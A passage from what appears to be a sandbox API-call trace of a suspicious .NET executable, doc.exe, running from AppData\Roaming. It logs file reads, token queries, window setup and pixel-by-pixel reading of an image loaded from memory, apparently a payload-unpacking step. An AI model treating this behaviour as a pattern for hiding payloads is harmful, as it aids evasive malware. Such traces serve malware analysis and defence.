lpNumberOfBytesRead=0x23e6b8, lpOverlapped=0x0 | out: lpBuffer=0x283fea0*, lpNumberOfBytesRead=0x23e6b8*=0x1000, lpOverlapped=0x0) returned 1 [0218.525] ReadFile (in: hFile=0x40, lpBuffer=0x283fea0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x23e6b8, lpOverlapped=0x0 | out: lpBuffer=0x283fea0*, lpNumberOfBytesRead=0x23e6b8*=0x1000, lpOverlapped=0x0) returned 1 [0218.525] ReadFile (in: hFile=0x40, lpBuffer=0x283fea0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x23e5f0, lpOverlapped=0x0 | out: lpBuffer=0x283fea0*, lpNumberOfBytesRead=0x23e5f0*=0x1000, lpOverlapped=0x0) returned 1 [0218.533] ReadFile (in: hFile=0x40, lpBuffer=0x283fea0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x23e75c, lpOverlapped=0x0 | out: lpBuffer=0x283fea0*, lpNumberOfBytesRead=0x23e75c*=0x1000, lpOverlapped=0x0) returned 1 [0218.535] ReadFile (in: hFile=0x40, lpBuffer=0x283fea0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x23e650, lpOverlapped=0x0 | out: lpBuffer=0x283fea0*, lpNumberOfBytesRead=0x23e650*=0x1000, lpOverlapped=0x0) returned 1 [0218.536] ReadFile (in: hFile=0x40, lpBuffer=0x283fea0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x23e650, lpOverlapped=0x0 | out: lpBuffer=0x283fea0*, lpNumberOfBytesRead=0x23e650*=0xc8e, lpOverlapped=0x0) returned 1 [0218.536] ReadFile (in: hFile=0x40, lpBuffer=0x283fea0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x23e714, lpOverlapped=0x0 | out: lpBuffer=0x283fea0*, lpNumberOfBytesRead=0x23e714*=0x0, lpOverlapped=0x0) returned 1 [0218.536] CloseHandle (hObject=0x40) returned 1 [0218.537] CloseHandle (hObject=0x1f0) returned 1 [0218.538] GetCurrentProcess () returned 0xffffffff [0218.538] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x23eaf0 | out: TokenHandle=0x23eaf0*=0x1f0) returned 1 [0218.539] CloseHandle (hObject=0x1f0) returned 1 [0218.539] GetCurrentProcess () returned 0xffffffff [0218.540] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x23eaf0 | out: TokenHandle=0x23eaf0*=0x1f0) returned 1 [0218.640] CloseHandle (hObject=0x1f0) returned 1 [0218.655] GetCurrentProcess () returned 0xffffffff [0218.655] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x23e9a4 | out: TokenHandle=0x23e9a4*=0x1f0) returned 1 [0218.656] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe.config" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\doc.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x23e99c | out: lpFileInformation=0x23e99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0218.656] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe.config", nBufferLength=0x105, lpBuffer=0x23e428, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe.config", lpFilePart=0x0) returned 0x31 [0218.656] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe.config" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\doc.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x23e9a4 | out: lpFileInformation=0x23e9a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0218.657] CloseHandle (hObject=0x1f0) returned 1 [0218.657] GetCurrentProcess () returned 0xffffffff [0218.657] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x23eaf0 | out: TokenHandle=0x23eaf0*=0x1f0) returned 1 [0218.658] CloseHandle (hObject=0x1f0) returned 1 [0218.659] GetCurrentProcess () returned 0xffffffff [0218.659] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x23eaf0 | out: TokenHandle=0x23eaf0*=0x1f0) returned 1 [0218.660] CloseHandle (hObject=0x1f0) returned 1 [0218.780] GetCurrentProcess () returned 0xffffffff [0218.780] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x23e908 | out: TokenHandle=0x23e908*=0x1f0) returned 1 [0218.787] CloseHandle (hObject=0x1f0) returned 1 [0218.787] GetCurrentProcess () returned 0xffffffff [0218.787] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x23e920 | out: TokenHandle=0x23e920*=0x1f0) returned 1 [0218.794] CloseHandle (hObject=0x1f0) returned 1 [0218.798] GetSystemMetrics (nIndex=75) returned 1 [0218.804] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x0 [0219.162] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x772b0000 [0219.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AddDllDirectory", cchWideChar=15, lpMultiByteStr=0x23ebec, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AddDllDirectory", lpUsedDefaultChar=0x0) returned 15 [0219.167] GetProcAddress (hModule=0x772b0000, lpProcName="AddDllDirectory") returned 0x773f1e91 [0219.167] LoadLibraryExW (lpLibFileName="comctl32.dll", hFile=0x0, dwFlags=0x800) returned 0x63bc0000 [0219.188] AdjustWindowRectEx (in: lpRect=0x23ed54, dwStyle=0x56cf0000, bMenu=0, dwExStyle=0x50001 | out: lpRect=0x23ed54) returned 1 [0219.275] GetCurrentProcess () returned 0xffffffff [0219.275] GetCurrentThread () returned 0xfffffffe [0219.275] GetCurrentProcess () returned 0xffffffff [0219.275] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xfffffffe, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x23ec6c, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x23ec6c*=0x40) returned 1 [0219.278] GetCurrentThreadId () returned 0xd18 [0219.355] GetCurrentActCtx (in: lphActCtx=0x23ebcc | out: lphActCtx=0x23ebcc*=0x0) returned 1 [0219.355] ActivateActCtx (in: hActCtx=0x329684, lpCookie=0x23ebdc | out: hActCtx=0x329684, lpCookie=0x23ebdc) returned 1 [0219.359] GetModuleHandleW (lpModuleName="user32.dll") returned 0x766d0000 [0219.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DefWindowProcW", cchWideChar=14, lpMultiByteStr=0x23ea84, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefWindowProcW\x97]\x17ç08DþôePï#", lpUsedDefaultChar=0x0) returned 14 [0219.360] GetProcAddress (hModule=0x766d0000, lpProcName="DefWindowProcW") returned 0x778f25dd [0219.361] GetStockObject (i=5) returned 0x1900015 [0219.367] GetModuleHandleW (lpModuleName=0x0) returned 0x1360000 [0219.440] CoTaskMemAlloc (cb=0x5c) returned 0x33a4c8 [0219.440] RegisterClassW (lpWndClass=0x23ea74) returned 0xc21d [0219.441] CoTaskMemFree (pv=0x33a4c8) [0219.441] GetModuleHandleW (lpModuleName=0x0) returned 0x1360000 [0219.442] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r14_ad1", lpWindowName=0x0, dwStyle=0x2010000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0xfffffffd, hMenu=0x0, hInstance=0x1360000, lpParam=0x0) returned 0x90334 [0219.442] SetWindowLongW (hWnd=0x90334, nIndex=-4, dwNewLong=2005870045) returned 18024662 [0219.444] GetWindowLongW (hWnd=0x90334, nIndex=-4) returned 2005870045 [0219.450] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\.NETFramework", ulOptions=0x0, samDesired=0x20019, phkResult=0x23e388 | out: phkResult=0x23e388*=0x230) returned 0x0 [0219.451] RegQueryValueExW (in: hKey=0x230, lpValueName="DbgJITDebugLaunchSetting", lpReserved=0x0, lpType=0x23e3a8, lpData=0x0, lpcbData=0x23e3a4*=0x0 | out: lpType=0x23e3a8*=0x0, lpData=0x0, lpcbData=0x23e3a4*=0x0) returned 0x2 [0219.451] RegQueryValueExW (in: hKey=0x230, lpValueName="DbgManagedDebugger", lpReserved=0x0, lpType=0x23e3a8, lpData=0x0, lpcbData=0x23e3a4*=0x0 | out: lpType=0x23e3a8*=0x0, lpData=0x0, lpcbData=0x23e3a4*=0x0) returned 0x2 [0219.451] RegCloseKey (hKey=0x230) returned 0x0 [0219.477] SetWindowLongW (hWnd=0x90334, nIndex=-4, dwNewLong=18024702) returned 2005870045 [0219.477] GetWindowLongW (hWnd=0x90334, nIndex=-4) returned 18024702 [0219.477] GetWindowLongW (hWnd=0x90334, nIndex=-16) returned 113311744 [0219.479] RegisterClipboardFormatW (lpszFormat="WinFormsMouseEnter") returned 0xc21e [0219.479] CallWindowProcW (lpPrevWndFunc=0x778f25dd, hWnd=0x90334, Msg=0x24, wParam=0x0, lParam=0x23e660) returned 0x0 [0219.479] RegisterClipboardFormatW (lpszFormat="WinFormsUnSubclass") returned 0xc21f [0219.480] CallWindowProcW (lpPrevWndFunc=0x778f25dd, hWnd=0x90334, Msg=0x81, wParam=0x0, lParam=0x23e654) returned 0x1 [0219.480] CallWindowProcW (lpPrevWndFunc=0x778f25dd, hWnd=0x90334, Msg=0x83, wParam=0x0, lParam=0x23e640) returned 0x0 [0219.480] CallWindowProcW (lpPrevWndFunc=0x778f25dd, hWnd=0x90334, Msg=0x1, wParam=0x0, lParam=0x23e654) returned 0x0 [0219.480] GetClientRect (in: hWnd=0x90334, lpRect=0x23e3bc | out: lpRect=0x23e3bc) returned 1 [0219.481] GetWindowRect (in: hWnd=0x90334, lpRect=0x23e3bc | out: lpRect=0x23e3bc) returned 1 [0219.482] GetParent (hWnd=0x90334) returned 0x0 [0219.483] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1c8d0001) returned 1 [0219.694] AdjustWindowRectEx (in: lpRect=0x23ed0c, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x23ed0c) returned 1 [0219.695] AdjustWindowRectEx (in: lpRect=0x23ec9c, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x23ec9c) returned 1 [0219.721] GetProcessWindowStation () returned 0x60 [0219.722] GetUserObjectInformationA (in: hObj=0x60, nIndex=1, pvInfo=0x285c9e0, nLength=0xc, lpnLengthNeeded=0x23eb78 | out: pvInfo=0x285c9e0, lpnLengthNeeded=0x23eb78) returned 1 [0219.725] SetConsoleCtrlHandler (HandlerRoutine=0x1130926, Add=1) returned 1 [0219.726] GetModuleHandleW (lpModuleName=0x0) returned 0x1360000 [0219.727] GetModuleHandleW (lpModuleName=0x0) returned 0x1360000 [0219.730] GetClassInfoW (in: hInstance=0x1360000, lpClassName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", lpWndClass=0x285ca44 | out: lpWndClass=0x285ca44) returned 0 [0219.733] CoTaskMemAlloc (cb=0x58) returned 0x326f98 [0219.734] RegisterClassW (lpWndClass=0x23eac8) returned 0xc220 [0219.734] CoTaskMemFree (pv=0x326f98) [0219.735] CreateWindowExW (dwExStyle=0x0, lpClassName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", lpWindowName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", dwStyle=0x80000000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x1360000, lpParam=0x0) returned 0x90336 [0219.736] NtdllDefWindowProc_W () returned 0x1 [0219.739] NtdllDefWindowProc_W () returned 0x0 [0219.739] NtdllDefWindowProc_W () returned 0x0 [0219.739] NtdllDefWindowProc_W () returned 0x0 [0219.739] NtdllDefWindowProc_W () returned 0x0 [0219.842] GetSysColor (nIndex=10) returned 0xb4b4b4 [0219.842] GetSysColor (nIndex=2) returned 0xd1b499 [0219.842] GetSysColor (nIndex=9) returned 0x0 [0219.842] GetSysColor (nIndex=12) returned 0xababab [0219.842] GetSysColor (nIndex=15) returned 0xf0f0f0 [0219.842] GetSysColor (nIndex=20) returned 0xffffff [0219.842] GetSysColor (nIndex=16) returned 0xa0a0a0 [0219.842] GetSysColor (nIndex=15) returned 0xf0f0f0 [0219.843] GetSysColor (nIndex=16) returned 0xa0a0a0 [0219.843] GetSysColor (nIndex=21) returned 0x696969 [0219.843] GetSysColor (nIndex=22) returned 0xe3e3e3 [0219.843] GetSysColor (nIndex=20) returned 0xffffff [0219.843] GetSysColor (nIndex=18) returned 0x0 [0219.843] GetSysColor (nIndex=1) returned 0x0 [0219.843] GetSysColor (nIndex=27) returned 0xead1b9 [0219.843] GetSysColor (nIndex=28) returned 0xf2e4d7 [0219.843] GetSysColor (nIndex=17) returned 0x6d6d6d [0219.843] GetSysColor (nIndex=13) returned 0xff9933 [0219.843] GetSysColor (nIndex=14) returned 0xffffff [0219.843] GetSysColor (nIndex=26) returned 0xcc6600 [0219.843] GetSysColor (nIndex=11) returned 0xfcf7f4 [0219.843] GetSysColor (nIndex=3) returned 0xdbcdbf [0219.843] GetSysColor (nIndex=19) returned 0x544e43 [0219.844] GetSysColor (nIndex=24) returned 0xe1ffff [0219.844] GetSysColor (nIndex=23) returned 0x0 [0219.844] GetSysColor (nIndex=4) returned 0xf0f0f0 [0219.844] GetSysColor (nIndex=30) returned 0xf0f0f0 [0219.844] GetSysColor (nIndex=29) returned 0xff9933 [0219.844] GetSysColor (nIndex=7) returned 0x0 [0219.844] GetSysColor (nIndex=0) returned 0xc8c8c8 [0219.844] GetSysColor (nIndex=5) returned 0xffffff [0219.844] GetSysColor (nIndex=6) returned 0x646464 [0219.844] GetSysColor (nIndex=8) returned 0x0 [0219.875] AdjustWindowRectEx (in: lpRect=0x23ecd0, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x23ecd0) returned 1 [0219.875] GetSystemMetrics (nIndex=59) returned 1460 [0219.875] GetSystemMetrics (nIndex=60) returned 920 [0219.875] GetSystemMetrics (nIndex=34) returned 132 [0219.875] GetSystemMetrics (nIndex=35) returned 38 [0219.875] AdjustWindowRectEx (in: lpRect=0x23ebd0, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x23ebd0) returned 1 [0282.875] EtwEventRegister () returned 0x0 [0282.883] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe.config", nBufferLength=0x105, lpBuffer=0x23dff8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe.config", lpFilePart=0x0) returned 0x31 [0282.883] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x23e240) returned 1 [0282.883] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe.config" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\doc.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x23e504 | out: lpFileInformation=0x23e504*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0282.883] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x23e23c) returned 1 [0283.716] GdiplusStartup (in: token=0x286068, input=0x23d678, output=0x23d6c8 | out: token=0x286068, output=0x23d6c8) returned 0x0 [0283.771] GdipLoadImageFromStream (stream=0x5d0030, image=0x23e160) returned 0x0 [0283.796] GdipImageForceValidation (image=0x4ec2230) returned 0x0 [0283.825] GdipGetImageType (image=0x4ec2230, type=0x23e15c) returned 0x0 [0283.825] GdipGetImageRawFormat (image=0x4ec2230, format=0x23e0d0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0283.876] GdipGetImageWidth (image=0x4ec2230, width=0x23e6e4) returned 0x0 [0283.882] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.882] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.883] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=0, color=0x23e6b0) returned 0x0 [0283.893] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.893] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.893] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=1, color=0x23e6b0) returned 0x0 [0283.894] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.894] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.894] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=2, color=0x23e6b0) returned 0x0 [0283.894] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.894] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.894] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=3, color=0x23e6b0) returned 0x0 [0283.894] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.894] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.894] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=4, color=0x23e6b0) returned 0x0 [0283.895] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.895] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.895] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=5, color=0x23e6b0) returned 0x0 [0283.895] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.895] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.895] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=6, color=0x23e6b0) returned 0x0 [0283.895] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.895] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.895] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=7, color=0x23e6b0) returned 0x0 [0283.895] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.895] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.895] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=8, color=0x23e6b0) returned 0x0 [0283.895] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.896] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.896] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=9, color=0x23e6b0) returned 0x0 [0283.896] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.896] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.896] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=10, color=0x23e6b0) returned 0x0 [0283.896] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.896] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.896] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=11, color=0x23e6b0) returned 0x0 [0283.896] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.896] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.896] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=12, color=0x23e6b0) returned 0x0 [0283.896] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.896] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.896] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=13, color=0x23e6b0) returned 0x0 [0283.897] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.897] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.897] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=14, color=0x23e6b0) returned 0x0 [0283.897] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.897] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.897] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=15, color=0x23e6b0) returned 0x0 [0283.897] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.897] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.897] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=16, color=0x23e6b0) returned 0x0 [0283.897] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.897] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.897] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=17, color=0x23e6b0) returned 0x0 [0283.897] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.897] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.897] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=18, color=0x23e6b0) returned 0x0 [0283.897] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.898] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.898] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=19, color=0x23e6b0) returned 0x0 [0283.898] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.898] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.898] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=20, color=0x23e6b0) returned 0x0 [0283.898] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.898] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.898] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=21, color=0x23e6b0) returned 0x0 [0283.898] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.898] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.898] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=22, color=0x23e6b0) returned 0x0 [0283.898] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.898] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.898] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=23, color=0x23e6b0) returned 0x0 [0283.899] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.899] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.899] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=24, color=0x23e6b0) returned 0x0 [0283.899] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.899] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.899] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=25, color=0x23e6b0) returned 0x0 [0283.899] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.899] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.899] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=26, color=0x23e6b0) returned 0x0 [0283.899] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.899] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.900] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=27, color=0x23e6b0) returned 0x0 [0283.900] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.900] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.900] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=28, color=0x23e6b0) returned 0x0 [0283.900] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.900] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.900] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=29, color=0x23e6b0) returned 0x0 [0283.900] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.900] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.900] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=30, color=0x23e6b0) returned 0x0 [0283.901] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.901] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.901] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=31, color=0x23e6b0) returned 0x0 [0283.901] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.901] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.901] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=32, color=0x23e6b0) returned 0x0 [0283.901] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.901] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.901] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=33, color=0x23e6b0) returned 0x0 [0283.902] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.902] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.902] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=34, color=0x23e6b0) returned 0x0 [0283.902] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.902] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.902] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=35, color=0x23e6b0) returned 0x0 [0283.902] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.902] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.902] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=36, color=0x23e6b0) returned 0x0 [0283.902] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.902] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.903] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=37, color=0x23e6b0) returned 0x0 [0283.903] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.903] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.903] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=38, color=0x23e6b0) returned 0x0 [0283.903] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.903] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.903] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=39, color=0x23e6b0) returned 0x0 [0283.903] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.903] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.904] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=40, color=0x23e6b0) returned 0x0 [0283.904] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.904] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.904] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=41, color=0x23e6b0) returned 0x0 [0283.904] GdipGetImageWidth (image=0x4ec2230, width=0x23e6a0) returned 0x0 [0283.904] GdipGetImageHeight (image=0x4ec2230, height=0x23e6a0) returned 0x0 [0283.904] GdipBitmapGetPixel (bitmap=0x4ec2230, x=0, y=42, color=0x23e6b0) returned 0x0 